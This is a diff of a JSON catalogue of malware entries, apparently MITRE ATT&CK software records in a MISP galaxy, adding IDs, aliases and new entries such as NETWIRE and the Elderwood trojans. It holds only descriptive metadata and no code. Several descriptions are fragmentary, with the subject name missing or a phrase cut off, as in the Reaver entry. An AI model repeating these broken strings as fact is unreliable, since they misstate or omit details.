"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
],
+ "external_id": "S0109",
"synonyms": [
"WEBC2"
]
@@ -549,7 +703,7 @@
"uuid": "1d808f62-cf63-4063-9727-ff6132514c22"
},
{
- "description": "PlugX is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)\n\nAliases: PlugX, Sogu, Kaba",
+ "description": "PlugX is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)\n\nAliases: PlugX, Sogu, Kaba, Korplug",
"value": "PlugX - S0013",
"meta": {
"refs": [
@@ -559,22 +713,25 @@
"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/"
],
+ "external_id": "S0013",
"synonyms": [
"PlugX",
"Sogu",
- "Kaba"
+ "Kaba",
+ "Korplug"
]
},
"uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd"
},
{
- "description": "is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The malware is unique due to its final payload being in the form of a Control panel item. (Citation: Palo Alto Reaver Nov 2017)\n\nAliases: Reaver",
+ "description": "Reaver is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of . (Citation: Palo Alto Reaver Nov 2017)\n\nAliases: Reaver",
"value": "Reaver - S0172",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0172",
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
],
+ "external_id": "S0172",
"synonyms": [
"Reaver"
]
@@ -589,6 +746,7 @@
"https://attack.mitre.org/wiki/Software/S0083",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
],
+ "external_id": "S0083",
"synonyms": [
"Misdat"
]
@@ -604,6 +762,7 @@
"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
],
+ "external_id": "S0162",
"synonyms": [
"Komplex"
]
@@ -618,6 +777,7 @@
"https://attack.mitre.org/wiki/Software/S0011",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf"
],
+ "external_id": "S0011",
"synonyms": [
"Taidoor"
]
@@ -632,6 +792,7 @@
"https://attack.mitre.org/wiki/Software/S0149",
"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
],
+ "external_id": "S0149",
"synonyms": [
"MoonWind"
]
@@ -646,6 +807,7 @@
"https://attack.mitre.org/wiki/Software/S0115",
"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
],
+ "external_id": "S0115",
"synonyms": [
"Crimson",
"MSIL/Crimson"
@@ -661,6 +823,7 @@
"https://attack.mitre.org/wiki/Software/S0090",
"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
],
+ "external_id": "S0090",
"synonyms": [
"Rover"
]
@@ -675,6 +838,7 @@
"https://attack.mitre.org/wiki/Software/S0086",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
],
+ "external_id": "S0086",
"synonyms": [
"ZLib"
]
@@ -689,6 +853,7 @@
"https://attack.mitre.org/wiki/Software/S0139",
"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
],
+ "external_id": "S0139",
"synonyms": [
"PowerDuke"
]
@@ -705,6 +870,7 @@
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/"
],
+ "external_id": "S0070",
"synonyms": [
"HTTPBrowser",
"Token Control",
@@ -722,6 +888,7 @@
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
+ "external_id": "S0037",
"synonyms": [
"HAMMERTOSS",
"HammerDuke",
@@ -738,6 +905,7 @@
"https://attack.mitre.org/wiki/Software/S0012",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"
],
+ "external_id": "S0012",
"synonyms": [
"PoisonIvy",
"Poison Ivy"
@@ -745,6 +913,21 @@
},
"uuid": "b42378e0-f147-496f-992a-26a49705395b"
},
+ {
+ "description": "SHUTTERSPEED is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)\n\nAliases: SHUTTERSPEED",
+ "value": "SHUTTERSPEED - S0217",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0217",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
+ ],
+ "external_id": "S0217",
+ "synonyms": [
+ "SHUTTERSPEED"
+ ]
+ },
+ "uuid": "4189a679-72ed-4a89-a57c-7f689712ecf8"
+ },
{
"description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak)\n\nAliases: Carbanak, Anunak",
"value": "Carbanak - S0030",
@@ -753,6 +936,7 @@
"https://attack.mitre.org/wiki/Software/S0030",
"https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf"
],
+ "external_id": "S0030",
"synonyms": [
"Carbanak",
"Anunak"
@@ -760,6 +944,21 @@
},
"uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4"
},
+ {
+ "description": "POWERSTATS is a PowerShell-based first stage backdoor used by MuddyWater. (Citation: Unit 42 MuddyWater Nov 2017)\n\nAliases: POWERSTATS",
+ "value": "POWERSTATS - S0223",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0223",
+ "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"
+ ],
+ "external_id": "S0223",
+ "synonyms": [
+ "POWERSTATS"
+ ]
+ },
+ "uuid": "e8545794-b98c-492b-a5b3-4b5a02682e37"
+ },
{
"description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia. (Citation: Moran 2013)\n\nAliases: Ixeshe",
"value": "Ixeshe - S0015",
@@ -768,6 +967,7 @@
"https://attack.mitre.org/wiki/Software/S0015",
"https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html"
],
+ "external_id": "S0015",
"synonyms": [
"Ixeshe"
]
@@ -775,13 +975,14 @@
"uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06"
},
{
- "description": "BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon)\n\nAliases: BADNEWS",
+ "description": "BADNEWS is malware that has been used by the actors responsible for the Patchwork campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon)\n\nAliases: BADNEWS",
"value": "BADNEWS - S0128",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0128",
"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
],
+ "external_id": "S0128",
"synonyms": [
"BADNEWS"
]
@@ -789,13 +990,14 @@
"uuid": "e9595678-d269-469e-ae6b-75e49259de63"
},
{
- "description": "is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)\n\nAliases: FLIPSIDE",
+ "description": "FLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)\n\nAliases: FLIPSIDE",
"value": "FLIPSIDE - S0173",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0173",
"https://www.youtube.com/watch?v=fevGZs0EQu8"
],
+ "external_id": "S0173",
"synonyms": [
"FLIPSIDE"
]
@@ -810,6 +1012,7 @@
"https://attack.mitre.org/wiki/Software/S0143",
"https://securelist.com/the-flame-questions-and-answers-51/34344/"
],
+ "external_id": "S0143",
"synonyms": [
"Flame",
"Flamer",
@@ -826,6 +1029,7 @@
"https://attack.mitre.org/wiki/Software/S0003",
"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
],
+ "external_id": "S0003",
"synonyms": [
"RIPTIDE"
]
@@ -841,6 +1045,7 @@
"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/",
"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
],
+ "external_id": "S0187",
"synonyms": [
"Daserf",
"Muirim",
@@ -857,6 +1062,7 @@
"https://attack.mitre.org/wiki/Software/S0046",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
+ "external_id": "S0046",
"synonyms": [
"CozyCar",
"CozyDuke",
@@ -875,12 +1081,30 @@
"https://attack.mitre.org/wiki/Software/S0080",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf"
],
+ "external_id": "S0080",
"synonyms": [
"Mivast"
]
},
"uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3"
},
+ {
+ "description": "is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)\n\nAliases: NETWIRE",
+ "value": "NETWIRE - S0198",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0198",
+ "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
+ "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/",
+ "https://www.brighttalk.com/webcast/10703/275683"
+ ],
+ "external_id": "S0198",
+ "synonyms": [
+ "NETWIRE"
+ ]
+ },
+ "uuid": "2a70812b-f1ef-44db-8578-a496a227aef2"
+ },
{
"description": "ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)\n\nAliases: ISMInjector\n\nContributors: Robert Falcone",
"value": "ISMInjector - S0189",
@@ -889,12 +1113,29 @@
"https://attack.mitre.org/wiki/Software/S0189",
"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
],
+ "external_id": "S0189",
"synonyms": [
"ISMInjector"
]
},
"uuid": "5be33fef-39c0-4532-84ee-bea31e1b5324"
},
+ {
+ "description": "is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)\n\nAliases: Vasport",
+ "value": "Vasport - S0207",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0207",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
+ "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051606-5938-99"
+ ],
+ "external_id": "S0207",
+ "synonyms": [
+ "Vasport"
+ ]
+ },
+ "uuid": "f4d8a2d6-c684-453a-8a14-cf4a94f755c5"
+ },
{
"description": "Cherry Picker is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)\n\nAliases: Cherry Picker",
"value": "Cherry Picker - S0107",
@@ -903,6 +1144,7 @@
"https://attack.mitre.org/wiki/Software/S0107",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"
],
+ "external_id": "S0107",
"synonyms": [
"Cherry Picker"
]
@@ -919,6 +1161,7 @@
"https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
],
+ "external_id": "S0117",
"synonyms": [
"XTunnel",
"X-Tunnel",
@@ -927,6 +1170,22 @@
},
"uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab"
},
+ {
+ "description": "Naid is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)\n\nAliases: Naid",
+ "value": "Naid - S0205",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0205",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
+ "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-061518-4639-99"
+ ],
+ "external_id": "S0205",
+ "synonyms": [
+ "Naid"
+ ]
+ },
+ "uuid": "48523614-309e-43bf-a2b8-705c2b45d7b2"
+ },
{
"description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012. (Citation: F-Secure The Dukes)\n\nAliases: GeminiDuke",
"value": "GeminiDuke - S0049",
@@ -935,12 +1194,28 @@
"https://attack.mitre.org/wiki/Software/S0049",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
+ "external_id": "S0049",
"synonyms": [
"GeminiDuke"
]
},
"uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6"
},
+ {
+ "description": "is an exfiltration tool used by APT37. (Citation: FireEye APT37 Feb 2018)\n\nAliases: CORALDECK",
+ "value": "CORALDECK - S0212",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0212",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
+ ],
+ "external_id": "S0212",
+ "synonyms": [
+ "CORALDECK"
+ ]
+ },
+ "uuid": "8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e"
+ },
{
"description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)\n\nAliases: Sakula, Sakurel, VIPER",
"value": "Sakula - S0074",
@@ -949,6 +1224,7 @@
"https://attack.mitre.org/wiki/Software/S0074",
"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
],
+ "external_id": "S0074",
"synonyms": [
"Sakula",
"Sakurel",
@@ -965,6 +1241,7 @@
"https://attack.mitre.org/wiki/Software/S0092",
"https://securelist.com/agent-btz-a-source-of-inspiration/58551/"
],
+ "external_id": "S0092",
"synonyms": [
"Agent.btz"
]
@@ -979,6 +1256,7 @@
"https://attack.mitre.org/wiki/Software/S0113",
"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
],
+ "external_id": "S0113",
"synonyms": [
"Prikormka"
]
@@ -993,12 +1271,28 @@
"https://attack.mitre.org/wiki/Software/S0034",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
+ "external_id": "S0034",
"synonyms": [
"NETEAGLE"
]
},
"uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2"
},
+ {
+ "description": "SLOWDRIFT is a backdoor used by APT37 against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)\n\nAliases: SLOWDRIFT",
+ "value": "SLOWDRIFT - S0218",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0218",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
+ ],
+ "external_id": "S0218",
+ "synonyms": [
+ "SLOWDRIFT"
+ ]
+ },
+ "uuid": "414dc555-c79e-4b24-a2da-9b607f7eaf16"
+ },
{
"description": "USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)\n\nAliases: USBStealer, USB Stealer, Win32/USBStealer",
"value": "USBStealer - S0136",
@@ -1008,6 +1302,7 @@
"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/",
"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
],
+ "external_id": "S0136",
"synonyms": [
"USBStealer",
"USB Stealer",
@@ -1024,6 +1319,7 @@
"https://attack.mitre.org/wiki/Software/S0025",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
+ "external_id": "S0025",
"synonyms": [
"CALENDAR"
]
@@ -1031,7 +1327,21 @@
"uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283"
},
{
- "description": "is a backdoor appears to be a new version of commercial software , which is marketed to government agencies. It is reportedly used to attack individual computers instead of networks. It was used by in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)\n\nAliases: Wingbird",
+ "description": "A Linux rootkit that provides backdoor access and hides from defenders.\n\nAliases: Umbreon",
+ "value": "Umbreon - S0221",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0221"
+ ],
+ "external_id": "S0221",
+ "synonyms": [
+ "Umbreon"
+ ]
+ },
+ "uuid": "3d8e547d-9456-4f32-a895-dc86134e282f"
+ },
+ {
+ "description": "Wingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)\n\nAliases: Wingbird",
"value": "Wingbird - S0176",
"meta": {
"refs": [
@@ -1039,12 +1349,29 @@
"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf",
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
],
+ "external_id": "S0176",
"synonyms": [
"Wingbird"
]
},
"uuid": "a8d3d497-2da9-4797-8e0b-ed176be08654"
},
+ {
+ "description": "is a Trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)\n\nAliases: Nerex",
+ "value": "Nerex - S0210",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0210",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
+ "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051515-3445-99"
+ ],
+ "external_id": "S0210",
+ "synonyms": [
+ "Nerex"
+ ]
+ },
+ "uuid": "c251e4a5-9a2e-4166-8e42-442af75c3b9a"
+ },
{
"description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003. (Citation: Kaspersky Regin)\n\nAliases: Regin",
"value": "Regin - S0019",
@@ -1053,6 +1380,7 @@
"https://attack.mitre.org/wiki/Software/S0019",
"https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf"
],
+ "external_id": "S0019",
"synonyms": [
"Regin"
]
@@ -1067,6 +1395,7 @@
"https://attack.mitre.org/wiki/Software/S0129",
"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
],
+ "external_id": "S0129",
"synonyms": [
"AutoIt backdoor"
]
@@ -1081,6 +1410,7 @@
"https://attack.mitre.org/wiki/Software/S0184",
"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
],
+ "external_id": "S0184",
"synonyms": [
"POWRUNER"
]
@@ -1088,7 +1418,7 @@
"uuid": "09b2cd76-c674-47cc-9f57-d2f2ad150a46"
},
{
- "description": "is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nAliases: Power Loader, Win32/Agent.UAW",
+ "description": "Power Loader is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nAliases: Power Loader, Win32/Agent.UAW",
"value": "Power Loader - S0177",
"meta": {
"refs": [
@@ -1096,6 +1426,7 @@
"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
],
+ "external_id": "S0177",
"synonyms": [
"Power Loader",
"Win32/Agent.UAW"
@@ -1111,6 +1442,7 @@
"https://attack.mitre.org/wiki/Software/S0147",
"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
],
+ "external_id": "S0147",
"synonyms": [
"Pteranodon"
]
@@ -1125,12 +1457,29 @@
"https://attack.mitre.org/wiki/Software/S0055",
"http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/"
],
+ "external_id": "S0055",
"synonyms": [
"RARSTONE"
]
},
"uuid": "8c553311-0baa-4146-997a-f79acef3d831"
},
+ {
+ "description": "PUNCHBUGGY is a dynamic-link library (DLL) downloader utilized by FIN8. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)\n\nAliases: PUNCHBUGGY",
+ "value": "PUNCHBUGGY - S0196",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0196",
+ "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
+ "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
+ ],
+ "external_id": "S0196",
+ "synonyms": [
+ "PUNCHBUGGY"
+ ]
+ },
+ "uuid": "5c6ed2dc-37f4-40ea-b2e1-4c76140a388c"
+ },
{
"description": "Matroyshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)\n\nAliases: Matroyshka",
"value": "Matroyshka - S0167",
@@ -1140,6 +1489,7 @@
"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf",
"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
],
+ "external_id": "S0167",
"synonyms": [
"Matroyshka"
]
@@ -1154,6 +1504,7 @@
"https://attack.mitre.org/wiki/Software/S0063",
"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"
],
+ "external_id": "S0063",
"synonyms": [
"SHOTPUT",
"Backdoor.APT.CookieCutter",
@@ -1162,6 +1513,23 @@
},
"uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb"
},
+ {
+ "description": "Orz is a custom JavaScript backdoor used by Leviathan. It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)\n\nAliases: Orz, AIRBREAK",
+ "value": "Orz - S0229",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0229",
+ "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
+ "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
+ ],
+ "external_id": "S0229",
+ "synonyms": [
+ "Orz",
+ "AIRBREAK"
+ ]
+ },
+ "uuid": "06d735e7-1db1-4dbe-ab4b-acbe419f902b"
+ },
{
"description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)\n\nAliases: Trojan.Karagany",
"value": "Trojan.Karagany - S0094",
@@ -1170,6 +1538,7 @@
"https://attack.mitre.org/wiki/Software/S0094",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
],
+ "external_id": "S0094",
"synonyms": [
"Trojan.Karagany"
]
@@ -1184,6 +1553,7 @@
"https://attack.mitre.org/wiki/Software/S0088",
"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
],
+ "external_id": "S0088",
"synonyms": [
"Kasidet"
]
@@ -1199,6 +1569,7 @@
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
],
+ "external_id": "S0023",
"synonyms": [
"CHOPSTICK",
"SPLM",
@@ -1209,6 +1580,22 @@
},
"uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472"
},
+ {
+ "description": "is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)\n\nAliases: Darkmoon",
+ "value": "Darkmoon - S0209",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0209",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
+ "https://www.symantec.com/security%20response/writeup.jsp?docid=2005-081910-3934-99"
+ ],
+ "external_id": "S0209",
+ "synonyms": [
+ "Darkmoon"
+ ]
+ },
+ "uuid": "310f437b-29e7-4844-848c-7220868d074a"
+ },
{
"description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke. (Citation: F-Secure The Dukes)\n\nAliases: MiniDuke",
"value": "MiniDuke - S0051",
@@ -1217,6 +1604,7 @@
"https://attack.mitre.org/wiki/Software/S0051",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
+ "external_id": "S0051",
"synonyms": [
"MiniDuke"
]
@@ -1231,6 +1619,7 @@
"https://attack.mitre.org/wiki/Software/S0127",
"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/"
],
+ "external_id": "S0127",
"synonyms": [
"BBSRAT"
]
@@ -1245,6 +1634,7 @@
"https://attack.mitre.org/wiki/Software/S0081",
"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"
],
+ "external_id": "S0081",
"synonyms": [
"Elise",
"BKDR_ESILE",
@@ -1261,6 +1651,7 @@
"https://attack.mitre.org/wiki/Software/S0156",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
],
+ "external_id": "S0156",
"synonyms": [
"KOMPROGO"
]
@@ -1275,6 +1666,7 @@
"https://attack.mitre.org/wiki/Software/S0017",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
+ "external_id": "S0017",
"synonyms": [
"BISCUIT"
]
@@ -1289,6 +1681,7 @@
"https://attack.mitre.org/wiki/Software/S0022",
"https://securelist.com/the-epic-turla-operation/65545/"
],
+ "external_id": "S0022",
"synonyms": [
"Uroburos"
]
@@ -1304,6 +1697,7 @@
"https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html",
"http://blog.talosintelligence.com/2017/03/dnsmessenger.html"
],
+ "external_id": "S0145",
"synonyms": [
"POWERSOURCE",
"DNSMessenger"
@@ -1319,12 +1713,29 @@
"https://attack.mitre.org/wiki/Software/S0071",
"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
],
+ "external_id": "S0071",
"synonyms": [
"hcdLoader"
]
},
"uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e"
},
+ {
+ "description": "Pasam is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)\n\nAliases: Pasam",
+ "value": "Pasam - S0208",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0208",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
+ "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-050412-4128-99"
+ ],
+ "external_id": "S0208",
+ "synonyms": [
+ "Pasam"
+ ]
+ },
+ "uuid": "e811ff6a-4cef-4856-a6ae-a7daf9ed39ae"
+ },
{
"description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)\n\nAliases: Zeroaccess, Trojan.Zeroaccess",
"value": "Zeroaccess - S0027",
@@ -1333,6 +1744,7 @@
"https://attack.mitre.org/wiki/Software/S0027",
"https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf"
],
+ "external_id": "S0027",
"synonyms": [
"Zeroaccess",
"Trojan.Zeroaccess"
@@ -1340,6 +1752,22 @@
},
"uuid": "552462b9-ae79-49dd-855c-5973014e157f"
},
+ {
